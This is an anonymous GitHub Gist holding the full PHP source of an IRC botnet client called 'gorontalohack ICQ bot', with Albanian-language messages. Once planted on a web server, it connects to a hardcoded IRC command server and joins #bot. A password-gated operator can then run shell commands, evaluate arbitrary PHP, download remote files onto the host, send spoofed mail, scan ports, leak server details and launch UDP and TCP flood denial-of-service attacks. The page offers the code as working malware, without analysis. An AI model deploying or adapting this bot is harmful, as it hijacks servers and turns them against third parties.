Created
November 6, 2012 07:01
-
-
Save anonymous/4023169 to your computer and use it in GitHub Desktop.
gorontalohack ICQ bot
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<? | |
set_time_limit(0); | |
error_reporting(0); | |
class pBot | |
{ | |
var $config = array("server"=>"irc.gorontalohack.net", | |
"port"=>7000, | |
"pass"=>"", // | |
"prefix"=>"zreg_", | |
"maxrand"=>7, | |
"chan"=>"#bot", | |
"key"=>"", // | |
"modes"=>"+iB-x", | |
"password"=>"123ok", // | |
"trigger"=>".", | |
"hostauth"=>"*" // * | |
); | |
var $users = array(); | |
function start() | |
{ | |
if(!($this->conn = fsockopen($this->config['server'],$this->config['port'],$e,$s,30))) | |
$this->start(); | |
$ident = ""; | |
$alph = range("a","z"); | |
for($i=0;$i<$this->config['maxrand'];$i++) | |
$ident .= $alph[rand(0,25)]; | |
if(strlen($this->config['pass'])>0) | |
$this->send("PASS ".$this->config['pass']); | |
$this->send("USER $ident 127.0.0.1 localhost :$ident"); | |
$this->set_nick(); | |
$this->main(); | |
} | |
function main() | |
{ | |
while(!feof($this->conn)) | |
{ | |
$this->buf = trim(fgets($this->conn,512)); | |
$cmd = explode(" ",$this->buf); | |
if(substr($this->buf,0,6)=="PING :") | |
{ | |
$this->send("PONG :".substr($this->buf,6)); | |
} | |
if(isset($cmd[1]) && $cmd[1] =="001") | |
{ | |
$this->send("MODE ".$this->nick." ".$this->config['modes']); | |
$this->join($this->config['chan'],$this->config['key']); | |
} | |
if(isset($cmd[1]) && $cmd[1]=="433") | |
{ | |
$this->set_nick(); | |
} | |
if($this->buf != $old_buf) | |
{ | |
$mcmd = array(); | |
$msg = substr(strstr($this->buf," :"),2); | |
$msgcmd = explode(" ",$msg); | |
$nick = explode("!",$cmd[0]); | |
$vhost = explode("@",$nick[1]); | |
$vhost = $vhost[1]; | |
$nick = substr($nick[0],1); | |
$host = $cmd[0]; | |
if($msgcmd[0]==$this->nick) | |
{ | |
for($i=0;$i<count($msgcmd);$i++) | |
$mcmd[$i] = $msgcmd[$i+1]; | |
} | |
else | |
{ | |
for($i=0;$i<count($msgcmd);$i++) | |
$mcmd[$i] = $msgcmd[$i]; | |
} | |
if(count($cmd)>2) | |
{ | |
switch($cmd[1]) | |
{ | |
case "QUIT": | |
if($this->is_logged_in($host)) | |
{ | |
$this->log_out($host); | |
} | |
break; | |
case "PART": | |
if($this->is_logged_in($host)) | |
{ | |
$this->log_out($host); | |
} | |
break; | |
case "PRIVMSG": | |
if(!$this->is_logged_in($host) && ($vhost == $this->config['hostauth'] || $this->config['hostauth'] == "*")) | |
{ | |
if(substr($mcmd[0],0,1)==".") | |
{ | |
switch(substr($mcmd[0],1)) | |
{ | |
case "user": | |
if($mcmd[1]==$this->config['password']) | |
{ | |
$this->privmsg($this->config['chan'],"[\2IMBot\2]: Welcome."); | |
$this->log_in($host); | |
} | |
else | |
{ | |
$this->privmsg($this->config['chan'],"[\2IMBot\2]: Passwordi Jo I Rregullt."); | |
} | |
break; | |
} | |
} | |
} | |
elseif($this->is_logged_in($host)) | |
{ | |
if(substr($mcmd[0],0,1)==".") | |
{ | |
switch(substr($mcmd[0],1)) | |
{ | |
case "restart": | |
$this->send("QUIT :restart"); | |
fclose($this->conn); | |
$this->start(); | |
break; | |
case "mail": //mail to from subject message | |
if(count($mcmd)>4) | |
{ | |
$header = "From: <".$mcmd[2].">"; | |
if(!mail($mcmd[1],$mcmd[3],strstr($msg,$mcmd[4]),$header)) | |
{ | |
$this->privmsg($this->config['chan'],"[\2MAIL\2]: Nuk Mund Te Dergohej"); | |
} | |
else | |
{ | |
$this->privmsg($this->config['chan'],"[\2MAIL\2]: Mesazhi Eshte Derguar Me Sukses Tek \2".$mcmd[1]."\2"); | |
} | |
} | |
break; | |
case "dns": | |
if(isset($mcmd[1])) | |
{ | |
$ip = explode(".",$mcmd[1]); | |
if(count($ip)==4 && is_numeric($ip[0]) && is_numeric($ip[1]) && is_numeric($ip[2]) && is_numeric($ip[3])) | |
{ | |
$this->privmsg($this->config['chan'],"[\2DNS\2]: ".$mcmd[1]." => ".gethostbyaddr($mcmd[1])); | |
} | |
else | |
{ | |
$this->privmsg($this->config['chan'],"[\2DNS\2]: ".$mcmd[1]." => ".gethostbyname($mcmd[1])); | |
} | |
} | |
break; | |
case "info": | |
$this->privmsg($this->config['chan'],"[\2INFO\2]: [\2httpd\2: ".$_SERVER['SERVER_SOFTWARE']."] [\2docroot\2: ".$_SERVER['DOCUMENT_ROOT']."] [\2domain\2: ".$_SERVER['SERVER_NAME']."] [\2admin\2: ".$_SERVER['SERVER_ADMIN']."] [\2url\2:".$_SERVER['REQUEST_URI']."]"); | |
break; | |
case "cmd": | |
if(isset($mcmd[1])) | |
{ | |
$command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1); | |
$this->privmsg($this->config['chan'],"[\2cmd\2]: $command"); | |
$pipe = popen($command,"r"); | |
while(!feof($pipe)) | |
{ | |
$pbuf = trim(fgets($pipe,512)); | |
if($pbuf != NULL) | |
$this->privmsg($this->config['chan']," : $pbuf"); | |
} | |
pclose($pipe); | |
} | |
break; | |
case "rndnick": | |
$this->set_nick(); | |
break; | |
case "raw": | |
$this->send(strstr($msg,$mcmd[1])); | |
break; | |
case "php": | |
$eval = eval(substr(strstr($msg,$mcmd[1]),strlen($mcmd[1]))); | |
break; | |
case "exec": | |
$command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1); | |
$exec = shell_exec($command); | |
$ret = explode("\n",$exec); | |
$this->privmsg($this->config['chan'],"[\2EXEC\2]: $command"); | |
for($i=0;$i<count($ret);$i++) | |
if($ret[$i]!=NULL) | |
$this->privmsg($this->config['chan']," : ".trim($ret[$i])); | |
break; | |
case "pscan": // .pscan 127.0.0.1 6667 | |
if(count($mcmd) > 2) | |
{ | |
if(fsockopen($mcmd[1],$mcmd[2],$e,$s,15)) | |
$this->privmsg($this->config['chan'],"[\2pSCAN\2]: ".$mcmd[1].":".$mcmd[2]." is \2open\2"); | |
else | |
$this->privmsg($this->config['chan'],"[\2pSCAN\2]: ".$mcmd[1].":".$mcmd[2]." is \2closed\2"); | |
} | |
break; | |
case "ud.server": // .udserver <server> <port> [password] | |
if(count($mcmd)>2) | |
{ | |
$this->config['server'] = $mcmd[1]; | |
$this->config['port'] = $mcmd[2]; | |
if(isset($mcmcd[3])) | |
{ | |
$this->config['pass'] = $mcmd[3]; | |
$this->privmsg($this->config['chan'],"[\2UPDATE\2]: Server was Changed to ".$mcmd[1].":".$mcmd[2]." Pass: ".$mcmd[3]); | |
} | |
else | |
{ | |
$this->privmsg($this->config['chan'],"[\2UPDATE\2]: Server was Changed to ".$mcmd[1].":".$mcmd[2]); | |
} | |
} | |
break; | |
case "download": | |
if(count($mcmd) > 2) | |
{ | |
if(!$fp = fopen($mcmd[2],"w")) | |
{ | |
$this->privmsg($this->config['chan'],"[\2DOWNLOAD\2]: Can not download, permission denied."); | |
} | |
else | |
{ | |
if(!$get = file($mcmd[1])) | |
{ | |
$this->privmsg($this->config['chan'],"[\2DOWNLOAD\2]: Unable to download from \2".$mcmd[1]."\2"); | |
} | |
else | |
{ | |
for($i=0;$i<=count($get);$i++) | |
{ | |
fwrite($fp,$get[$i]); | |
} | |
$this->privmsg($this->config['chan'],"[\2DOWNLOAD\2]: File \2".$mcmd[1]."\2 was downloaded to \2".$mcmd[2]."\2"); | |
} | |
fclose($fp); | |
} | |
} | |
break; | |
case "die": | |
$this->send("QUIT :DiE Komanda U Perdor Nga $nick"); | |
fclose($this->conn); | |
exit; | |
case "logout": | |
$this->log_out($host); | |
$this->privmsg($this->config['chan'],"[\2AsC.IMBot\2]: $nick Password have been logged out"); | |
break; | |
case "udpflood": | |
if(count($mcmd)>4) | |
{ | |
$this->udpflood($mcmd[1],$mcmd[2],$mcmd[3],$mcmd[4]); | |
} | |
break; | |
case "tcpflood": | |
if(count($mcmd)>5) | |
{ | |
$this->tcpflood($mcmd[1],$mcmd[2],$mcmd[3],$mcmd[4],$mcmd[5]); | |
} | |
break; | |
} | |
} | |
} | |
break; | |
} | |
} | |
} | |
$old_buf = $this->buf; | |
} | |
$this->start(); | |
} | |
function send($msg) | |
{ | |
fwrite($this->conn,"$msg\r\n"); | |
} | |
function join($chan,$key=NULL) | |
{ | |
$this->send("JOIN $chan $key"); | |
} | |
function privmsg($to,$msg) | |
{ | |
$this->send("PRIVMSG $to :$msg"); | |
} | |
function is_logged_in($host) | |
{ | |
if(isset($this->users[$host])) | |
return 1; | |
else | |
return 0; | |
} | |
function log_in($host) | |
{ | |
$this->users[$host] = true; | |
} | |
function log_out($host) | |
{ | |
unset($this->users[$host]); | |
} | |
function set_nick() | |
{ | |
if(isset($_SERVER['SERVER_SOFTWARE'])) | |
{ | |
if(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"apache")) | |
$this->nick = "[00[ALB]SP2]"; | |
elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"iis")) | |
$this->nick = "[00][ALB-SP2]"; | |
elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"xitami")) | |
$this->nick = "[00]USA[STOP-Hacker]"; | |
else | |
$this->nick = "[00][ALB]"; | |
} | |
else | |
{ | |
$this->nick = "[00|[STOP-Hacker]"; | |
} | |
$this->nick .= $this->config['prefix']; | |
for($i=0;$i<$this->config['maxrand'];$i++) | |
$this->nick .= mt_rand(0,9); | |
$this->send("NICK ".$this->nick); | |
} | |
function udpflood($host,$packetsize,$time) { | |
$this->privmsg($this->config['chan'],"[\2DDOS\2]: Duke Sulmuar $host Per $time Sekonda me $packetsize Kb Paketa"); | |
$packet = ""; | |
for($i=0;$i<$packetsize;$i++) { $packet .= chr(mt_rand(1,256)); } | |
$timei = time(); | |
$i = 0; | |
while(time()-$timei < $time) { | |
$fp=fsockopen("udp://".$host,mt_rand(0,6000),$e,$s,5); | |
fwrite($fp,$packet); | |
fclose($fp); | |
$i++; | |
} | |
$env = $i * $packetsize; | |
$env = $env / 1048576; | |
$vel = $env / $time; | |
$vel = round($vel); | |
$env = round($env); | |
$this->privmsg($this->config['chan'],"[\2DDOS\2]: Mbaroi Sulmimi: $env MB U Derguan. Shpejtesia E Sulmimit : $vel MB/s "); | |
} | |
function tcpflood($host,$packets,$packetsize,$port,$delay) | |
{ | |
$this->privmsg($this->config['chan'],"[\2TCP\2]: Sending $packets packets to $host:$port. Packet size: $packetsize"); | |
$packet = ""; | |
for($i=0;$i<$packetsize;$i++) | |
$packet .= chr(mt_rand(1,256)); | |
for($i=0;$i<$packets;$i++) | |
{ | |
if(!$fp=fsockopen("tcp://".$host,$port,$e,$s,5)) | |
{ | |
$this->privmsg($this->config['chan'],"[\2TCP\2]: Error: <$e>"); | |
return 0; | |
} | |
else | |
{ | |
fwrite($fp,$packet); | |
fclose($fp); | |
} | |
sleep($delay); | |
} | |
$this->privmsg($this->config['chan'],"[\2TCP\2]: Finished sending $packets packets to $host:$port."); | |
} | |
} | |
$bot = new pBot; | |
$bot->start(); | |
?> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment